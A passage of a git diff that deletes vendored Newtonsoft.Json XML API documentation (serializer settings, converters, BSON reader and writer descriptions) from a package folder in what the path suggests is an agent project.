get the value from. - The value. - - - - A snake case naming strategy. - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - A flag indicating whether extension data names should be processed. - - - - - Initializes a new instance of the class. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Specifies how strings are escaped when writing JSON text. - - - - - Only control characters (e.g. newline) are escaped. - - - - - All non-ASCII and control characters (e.g. newline) are escaped. - - - - - HTML (<, >, &, ', ") and control characters (e.g. newline) are escaped. - - - - - Indicates the method that will be used during deserialization for locating and loading assemblies. - - - - - In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the LoadWithPartialName method of the class is used to load the assembly. - - - - - In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The Load method of the class is used to load the assembly. - - - - - Specifies type name handling options for the . - - - should be used with caution when your application deserializes JSON from an external source. - Incoming types should be validated with a custom - when deserializing with a value other than . - - - - - Do not include the .NET type name when serializing types. - - - - - Include the .NET type name when serializing into a JSON object structure. - - - - - Include the .NET type name when serializing into a JSON array structure. - - - - - Always include the .NET type name when serializing. - - - - - Include the .NET type name when the type of the object being serialized is not the same as its declared type. - Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON - you must specify a root type object with - or . - - - - - Determines whether the collection is null or empty. - - The collection. - - true if the collection is null or empty; otherwise, false. - - - - - Adds the elements of the specified collection to the specified generic . - - The list to add to. - The collection of elements to add. - - - - Converts the value to the specified type. If the value is unable to be converted, the - value is checked whether it assignable to the specified type. - - The value to convert. - The culture to use when converting. - The type to convert or cast the value to. - - The converted type. If conversion was unsuccessful, the initial value - is returned if assignable to the target type. - - - - - Helper method for generating a MetaObject which calls a - specific method on Dynamic that returns a result - - - - - Helper method for generating a MetaObject which calls a - specific method on Dynamic, but uses one of the arguments for - the result. - - - - - Helper method for generating a MetaObject which calls a - specific method on Dynamic, but uses one of the arguments for - the result. - - - - - Returns a Restrictions object which includes our current restrictions merged - with a restriction limiting our type - - - - - Helper class for serializing immutable collections. - Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed - https://github.com/JamesNK/Newtonsoft.Json/issues/652 - - - - - Gets the type of the typed collection's items. - - The type. - The type of the typed collection's items. - - - - Gets the member's underlying type. - - The member. - The underlying type of the member. - - - - Determines whether the property is an indexed property. - - The property. - - true if the property is an indexed property; otherwise, false. - - - - - Gets the member's value on the object. - - The member. - The target object. - The member's value on the object. - - - - Sets the member's value on the target object. - - The member. - The target. - The value. - - - - Determines whether the specified MemberInfo can be read. - - The MemberInfo to determine whether can be read. - /// if set to true then allow the member to be gotten non-publicly. - - true if the specified MemberInfo can be read; otherwise, false. - - - - - Determines whether the specified MemberInfo can be set. - - The MemberInfo to determine whether can be set. - if set to true then allow the member to be set non-publicly. - if set to true then allow the member to be set if read-only. - - true if the specified MemberInfo can be set; otherwise, false. - - - - - Builds a string. Unlike this class lets you reuse its internal buffer. - - - - - Determines whether the string is all white space. Empty string will return false. - - The string to test whether it is all white space. - - true if the string is all white space; otherwise, false. - - - - - Specifies the state of the . - - - - - An exception has been thrown, which has left the in an invalid state. - You may call the method to put the in the Closed state. - Any other method calls result in an being thrown. - - - - - The method has been called. - - - - - An object is being written. - - - - - An array is being written. - - - - - A constructor is being written. - - - - - A property is being written. - - - - - A write method has not been called. - - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/lib/netstandard1.0/Newtonsoft.Json.xml b/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/lib/netstandard1.0/Newtonsoft.Json.xml deleted file mode 100644 index 4409234e..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/lib/netstandard1.0/Newtonsoft.Json.xml +++ /dev/null @@ -1,11051 +0,0 @@ - - - - Newtonsoft.Json - - - - - Represents a BSON Oid (object id). - - - - - Gets or sets the value of the Oid. - - The value of the Oid. - - - - Initializes a new instance of the class. - - The Oid value. - - - - Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data. - - - - - Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary. - - - true if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, false. - - - - - Gets or sets a value indicating whether the root object will be read as a JSON array. - - - true if the root object will be read as a JSON array; otherwise, false. - - - - - Gets or sets the used when reading values from BSON. - - The used when reading values from BSON. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - if set to true the root object will be read as a JSON array. - The used when reading values from BSON. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - if set to true the root object will be read as a JSON array. - The used when reading values from BSON. - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Changes the reader's state to . - If is set to true, the underlying is also closed. - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data. - - - - - Gets or sets the used when writing values to BSON. - When set to no conversion will occur. - - The used when writing values to BSON. - - - - Initializes a new instance of the class. - - The to write to. - - - - Initializes a new instance of the class. - - The to write to. - - - - Flushes whatever is in the buffer to the underlying and also flushes the underlying stream. - - - - - Writes the end. - - The token. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes raw JSON. - - The raw JSON to write. - - - - Writes raw JSON where a value is expected and updates the writer's state. - - The raw JSON to write. - - - - Writes the beginning of a JSON array. - - - - - Writes the beginning of a JSON object. - - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - - - - Closes this writer. - If is set to true, the underlying is also closed. - If is set to true, the JSON is auto-completed. - - - - - Writes a value. - An error will raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value that represents a BSON object id. - - The Object ID value to write. - - - - Writes a BSON regex. - - The regex pattern. - The regex options. - - - - Specifies how constructors are used when initializing objects during deserialization by the . - - - - - First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor. - - - - - Json.NET will use a non-public default constructor before falling back to a parameterized constructor. - - - - - Converts a binary value to and from a base 64 string value. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a to and from JSON and BSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Creates a custom object. - - The object type to convert. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Creates an object which will then be populated by the serializer. - - Type of the object. - The created object. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Gets a value indicating whether this can write JSON. - - - true if this can write JSON; otherwise, false. - - - - - Provides a base class for converting a to and from JSON. - - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a F# discriminated union type to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts an to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Gets a value indicating whether this can write JSON. - - - true if this can write JSON; otherwise, false. - - - - - Converts a to and from the ISO 8601 date format (e.g. "2008-04-12T12:53Z"). - - - - - Gets or sets the date time styles used when converting a date to and from JSON. - - The date time styles used when converting a date to and from JSON. - - - - Gets or sets the date time format used when converting a date to and from JSON. - - The date time format used when converting a date to and from JSON. - - - - Gets or sets the culture used when converting a date to and from JSON. - - The culture used when converting a date to and from JSON. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Converts a to and from a JavaScript Date constructor (e.g. new Date(52231943)). - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing property value of the JSON that is being converted. - The calling serializer. - The object value. - - - - Converts a to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a to and from JSON and BSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts an to and from its name string value. - - - - - Gets or sets a value indicating whether the written enum text should be camel case. - The default value is false. - - true if the written enum text will be camel case; otherwise, false. - - - - Gets or sets the naming strategy used to resolve how enum text is written. - - The naming strategy used to resolve how enum text is written. - - - - Gets or sets a value indicating whether integer values are allowed when serializing and deserializing. - The default value is true. - - true if integers are allowed when serializing and deserializing; otherwise, false. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class. - - true if the written enum text will be camel case; otherwise, false. - - - - Initializes a new instance of the class. - - The naming strategy used to resolve how enum text is written. - true if integers are allowed when serializing and deserializing; otherwise, false. - - - - Initializes a new instance of the class. - - The of the used to write enum text. - - - - Initializes a new instance of the class. - - The of the used to write enum text. - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - - Initializes a new instance of the class. - - The of the used to write enum text. - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - true if integers are allowed when serializing and deserializing; otherwise, false. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a to and from Unix epoch time - - - - - Gets or sets a value indicating whether the dates before Unix epoch - should converted to and from JSON. - - - true to allow converting dates before Unix epoch to and from JSON; - false to throw an exception when a date being converted to or from JSON - occurred before Unix epoch. The default value is false. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class. - - - true to allow converting dates before Unix epoch to and from JSON; - false to throw an exception when a date being converted to or from JSON - occurred before Unix epoch. The default value is false. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing property value of the JSON that is being converted. - The calling serializer. - The object value. - - - - Converts a to and from a string (e.g. "1.2.3.4"). - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing property value of the JSON that is being converted. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts XML to and from JSON. - - - - - Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements. - - The name of the deserialized root element. - - - - Gets or sets a value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - true if the array attribute is written to the XML; otherwise, false. - - - - Gets or sets a value indicating whether to write the root JSON object. - - true if the JSON root object is omitted; otherwise, false. - - - - Gets or sets a value indicating whether to encode special characters when converting JSON to XML. - If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify - XML namespaces, attributes or processing directives. Instead special characters are encoded and written - as part of the XML element name. - - true if special characters are encoded; otherwise, false. - - - - Writes the JSON representation of the object. - - The to write to. - The calling serializer. - The value. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Checks if the is a namespace attribute. - - Attribute name to test. - The attribute name prefix if it has one, otherwise an empty string. - true if attribute name is for a namespace attribute, otherwise false. - - - - Determines whether this instance can convert the specified value type. - - Type of the value. - - true if this instance can convert the specified value type; otherwise, false. - - - - - Specifies how dates are formatted when writing JSON text. - - - - - Dates are written in the ISO 8601 format, e.g. "2012-03-21T05:40Z". - - - - - Dates are written in the Microsoft JSON format, e.g. "\/Date(1198908717056)\/". - - - - - Specifies how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON text. - - - - - Date formatted strings are not parsed to a date type and are read as strings. - - - - - Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . - - - - - Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . - - - - - Specifies how to treat the time value when converting between string and . - - - - - Treat as local time. If the object represents a Coordinated Universal Time (UTC), it is converted to the local time. - - - - - Treat as a UTC. If the object represents a local time, it is converted to a UTC. - - - - - Treat as a local time if a is being converted to a string. - If a string is being converted to , convert to a local time if a time zone is specified. - - - - - Time zone information should be preserved when converting. - - - - - The default JSON name table implementation. - - - - - Initializes a new instance of the class. - - - - - Gets a string containing the same characters as the specified range of characters in the given array. - - The character array containing the name to find. - The zero-based index into the array specifying the first character of the name. - The number of characters in the name. - A string containing the same characters as the specified range of characters in the given array. - - - - Adds the specified string into name table. - - The string to add. - This method is not thread-safe. - The resolved string. - - - - Specifies default value handling options for the . - - - - - - - - - Include members where the member value is the same as the member's default value when serializing objects. - Included members are written to JSON. Has no effect when deserializing. - - - - - Ignore members where the member value is the same as the member's default value when serializing objects - so that it is not written to JSON. - This option will ignore all default values (e.g. null for objects and nullable types; 0 for integers, - decimals and floating point numbers; and false for booleans). The default value ignored can be changed by - placing the on the property. - - - - - Members with a default value but no JSON will be set to their default value when deserializing. - - - - - Ignore members where the member value is the same as the member's default value when serializing objects - and set members to their default value when deserializing. - - - - - Specifies float format handling options when writing special floating point numbers, e.g. , - and with . - - - - - Write special floating point values as strings in JSON, e.g. "NaN", "Infinity", "-Infinity". - - - - - Write special floating point values as symbols in JSON, e.g. NaN, Infinity, -Infinity. - Note that this will produce non-valid JSON. - - - - - Write special floating point values as the property's default value in JSON, e.g. 0.0 for a property, null for a of property. - - - - - Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - - - - - Floating point numbers are parsed to . - - - - - Floating point numbers are parsed to . - - - - - Specifies formatting options for the . - - - - - No special formatting is applied. This is the default. - - - - - Causes child objects to be indented according to the and settings. - - - - - Provides an interface for using pooled arrays. - - The array type content. - - - - Rent an array from the pool. This array must be returned when it is no longer needed. - - The minimum required length of the array. The returned array may be longer. - The rented array from the pool. This array must be returned when it is no longer needed. - - - - Return an array to the pool. - - The array that is being returned. - - - - Provides an interface to enable a class to return line and position information. - - - - - Gets a value indicating whether the class can return line information. - - - true if and can be provided; otherwise, false. - - - - - Gets the current line number. - - The current line number or 0 if no line information is available (for example, when returns false). - - - - Gets the current line position. - - The current line position or 0 if no line information is available (for example, when returns false). - - - - Instructs the how to serialize the collection. - - - - - Gets or sets a value indicating whether null items are allowed in the collection. - - true if null items are allowed in the collection; otherwise, false. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with a flag indicating whether the array can contain null items. - - A flag indicating whether the array can contain null items. - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - Instructs the to use the specified constructor when deserializing that object. - - - - - Instructs the how to serialize the object. - - - - - Gets or sets the id. - - The id. - - - - Gets or sets the title. - - The title. - - - - Gets or sets the description. - - The description. - - - - Gets or sets the collection's items converter. - - The collection's items converter. - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets the of the . - - The of the . - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets a value that indicates whether to preserve object references. - - - true to keep object reference; otherwise, false. The default is false. - - - - - Gets or sets a value that indicates whether to preserve collection's items references. - - - true to keep collection's items object references; otherwise, false. The default is false. - - - - - Gets or sets the reference loop handling used when serializing the collection's items. - - The reference loop handling. - - - - Gets or sets the type name handling used when serializing the collection's items. - - The type name handling. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - Provides methods for converting between .NET types and JSON types. - - - - - - - - Gets or sets a function that creates default . - Default settings are automatically used by serialization methods on , - and and on . - To serialize without using any default settings create a with - . - - - - - Represents JavaScript's boolean value true as a string. This field is read-only. - - - - - Represents JavaScript's boolean value false as a string. This field is read-only. - - - - - Represents JavaScript's null as a string. This field is read-only. - - - - - Represents JavaScript's undefined as a string. This field is read-only. - - - - - Represents JavaScript's positive infinity as a string. This field is read-only. - - - - - Represents JavaScript's negative infinity as a string. This field is read-only. - - - - - Represents JavaScript's NaN as a string. This field is read-only. - - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation using the specified. - - The value to convert. - The format the date will be converted to. - The time zone handling when the date is converted to a string. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation using the specified. - - The value to convert. - The format the date will be converted to. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - The string delimiter character. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - The string delimiter character. - The string escape handling. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Serializes the specified object to a JSON string. - - The object to serialize. - A JSON string representation of the object. - - - - Serializes the specified object to a JSON string using formatting. - - The object to serialize. - Indicates how the output should be formatted. - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using a collection of . - - The object to serialize. - A collection of converters used while serializing. - A JSON string representation of the object. - - - - Serializes the specified object to a JSON string using formatting and a collection of . - - The object to serialize. - Indicates how the output should be formatted. - A collection of converters used while serializing. - A JSON string representation of the object. - - - - Serializes the specified object to a JSON string using . - - The object to serialize. - The used to serialize the object. - If this is null, default serialization settings will be used. - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using a type, formatting and . - - The object to serialize. - The used to serialize the object. - If this is null, default serialization settings will be used. - - The type of the value being serialized. - This parameter is used when is to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using formatting and . - - The object to serialize. - Indicates how the output should be formatted. - The used to serialize the object. - If this is null, default serialization settings will be used. - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using a type, formatting and . - - The object to serialize. - Indicates how the output should be formatted. - The used to serialize the object. - If this is null, default serialization settings will be used. - - The type of the value being serialized. - This parameter is used when is to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - A JSON string representation of the object. - - - - - Deserializes the JSON to a .NET object. - - The JSON to deserialize. - The deserialized object from the JSON string. - - - - Deserializes the JSON to a .NET object using . - - The JSON to deserialize. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type. - - The JSON to deserialize. - The of object being deserialized. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type. - - The type of the object to deserialize to. - The JSON to deserialize. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the given anonymous type. - - - The anonymous type to deserialize to. This can't be specified - traditionally and must be inferred from the anonymous type passed - as a parameter. - - The JSON to deserialize. - The anonymous type object. - The deserialized anonymous type from the JSON string. - - - - Deserializes the JSON to the given anonymous type using . - - - The anonymous type to deserialize to. This can't be specified - traditionally and must be inferred from the anonymous type passed - as a parameter. - - The JSON to deserialize. - The anonymous type object. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized anonymous type from the JSON string. - - - - Deserializes the JSON to the specified .NET type using a collection of . - - The type of the object to deserialize to. - The JSON to deserialize. - Converters to use while deserializing. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type using . - - The type of the object to deserialize to. - The object to deserialize. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type using a collection of . - - The JSON to deserialize. - The type of the object to deserialize. - Converters to use while deserializing. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type using . - - The JSON to deserialize. - The type of the object to deserialize to. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized object from the JSON string. - - - - Populates the object with values from the JSON string. - - The JSON to populate values from. - The target object to populate values onto. - - - - Populates the object with values from the JSON string using . - - The JSON to populate values from. - The target object to populate values onto. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - - - - Serializes the to a JSON string. - - The node to convert to JSON. - A JSON string of the . - - - - Serializes the to a JSON string using formatting. - - The node to convert to JSON. - Indicates how the output should be formatted. - A JSON string of the . - - - - Serializes the to a JSON string using formatting and omits the root object if is true. - - The node to serialize. - Indicates how the output should be formatted. - Omits writing the root object. - A JSON string of the . - - - - Deserializes the from a JSON string. - - The JSON string. - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by . - - The JSON string. - The name of the root element to append when deserializing. - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by - and writes a Json.NET array attribute for collections. - - The JSON string. - The name of the root element to append when deserializing. - - A value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by , - writes a Json.NET array attribute for collections, and encodes special characters. - - The JSON string. - The name of the root element to append when deserializing. - - A value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - - A value to indicate whether to encode special characters when converting JSON to XML. - If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify - XML namespaces, attributes or processing directives. Instead special characters are encoded and written - as part of the XML element name. - - The deserialized . - - - - Converts an object to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Gets a value indicating whether this can read JSON. - - true if this can read JSON; otherwise, false. - - - - Gets a value indicating whether this can write JSON. - - true if this can write JSON; otherwise, false. - - - - Converts an object to and from JSON. - - The object type to convert. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. If there is no existing value then null will be used. - The existing value has a value. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Instructs the to use the specified when serializing the member or class. - - - - - Gets the of the . - - The of the . - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - - - - - Initializes a new instance of the class. - - Type of the . - - - - Initializes a new instance of the class. - - Type of the . - Parameter list to use when constructing the . Can be null. - - - - Represents a collection of . - - - - - Instructs the how to serialize the collection. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - The exception thrown when an error occurs during JSON serialization or deserialization. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Instructs the to deserialize properties with no matching class member into the specified collection - and write values during serialization. - - - - - Gets or sets a value that indicates whether to write extension data when serializing the object. - - - true to write extension data when serializing the object; otherwise, false. The default is true. - - - - - Gets or sets a value that indicates whether to read extension data when deserializing the object. - - - true to read extension data when deserializing the object; otherwise, false. The default is true. - - - - - Initializes a new instance of the class. - - - - - Instructs the not to serialize the public field or public read/write property value. - - - - - Base class for a table of atomized string objects. - - - - - Gets a string containing the same characters as the specified range of characters in the given array. - - The character array containing the name to find. - The zero-based index into the array specifying the first character of the name. - The number of characters in the name. - A string containing the same characters as the specified range of characters in the given array. - - - - Instructs the how to serialize the object. - - - - - Gets or sets the member serialization. - - The member serialization. - - - - Gets or sets the missing member handling used when deserializing this object. - - The missing member handling. - - - - Gets or sets how the object's properties with null values are handled during serialization and deserialization. - - How the object's properties with null values are handled during serialization and deserialization. - - - - Gets or sets a value that indicates whether the object's properties are required. - - - A value indicating whether the object's properties are required. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified member serialization. - - The member serialization. - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - Instructs the to always serialize the member with the specified name. - - - - - Gets or sets the type used when serializing the property's collection items. - - The collection's items type. - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets the of the . - - The of the . - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets the null value handling used when serializing this property. - - The null value handling. - - - - Gets or sets the default value handling used when serializing this property. - - The default value handling. - - - - Gets or sets the reference loop handling used when serializing this property. - - The reference loop handling. - - - - Gets or sets the object creation handling used when deserializing this property. - - The object creation handling. - - - - Gets or sets the type name handling used when serializing this property. - - The type name handling. - - - - Gets or sets whether this property's value is serialized as a reference. - - Whether this property's value is serialized as a reference. - - - - Gets or sets the order of serialization of a member. - - The numeric order of serialization. - - - - Gets or sets a value indicating whether this property is required. - - - A value indicating whether this property is required. - - - - - Gets or sets the name of the property. - - The name of the property. - - - - Gets or sets the reference loop handling used when serializing the property's collection items. - - The collection's items reference loop handling. - - - - Gets or sets the type name handling used when serializing the property's collection items. - - The collection's items type name handling. - - - - Gets or sets whether this property's collection items are serialized as a reference. - - Whether this property's collection items are serialized as a 